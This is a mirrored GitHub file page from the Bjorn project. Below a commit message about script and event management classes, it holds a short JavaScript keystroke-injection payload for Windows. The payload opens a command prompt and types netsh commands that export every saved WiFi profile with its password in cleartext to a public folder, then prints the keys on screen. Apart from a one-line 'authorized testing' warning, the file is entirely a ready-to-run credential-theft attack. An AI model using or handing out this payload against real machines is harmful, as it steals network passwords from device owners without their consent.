mirror of
https://github.com/infinition/Bjorn.git
synced 2026-03-15 17:01:58 +00:00
- Implemented LokiUtils class with GET and POST endpoints for managing scripts, jobs, and payloads. - Added SentinelUtils class with GET and POST endpoints for managing events, rules, devices, and notifications. - Both classes include error handling and JSON response formatting.
21 lines
644 B
JavaScript
21 lines
644 B
JavaScript
// WiFi Profile Exfiltration (Windows) — Dumps saved WiFi passwords via netsh
|
|
// WARNING: For authorized penetration testing only.
|
|
layout('us');
|
|
delay(1000);
|
|
|
|
// Open CMD
|
|
press("GUI r");
|
|
delay(500);
|
|
type("cmd\n");
|
|
delay(1000);
|
|
|
|
// Export all WiFi profiles with keys to a file
|
|
type("netsh wlan export profile key=clear folder=C:\\Users\\Public\n");
|
|
delay(3000);
|
|
|
|
// Show WiFi passwords inline
|
|
type("for /f \"tokens=2 delims=:\" %a in ('netsh wlan show profiles ^| findstr \"Profile\"') do @netsh wlan show profile name=%a key=clear 2>nul | findstr \"Key Content\"\n");
|
|
delay(5000);
|
|
|
|
console.log("WiFi profiles exported to C:\\Users\\Public");
|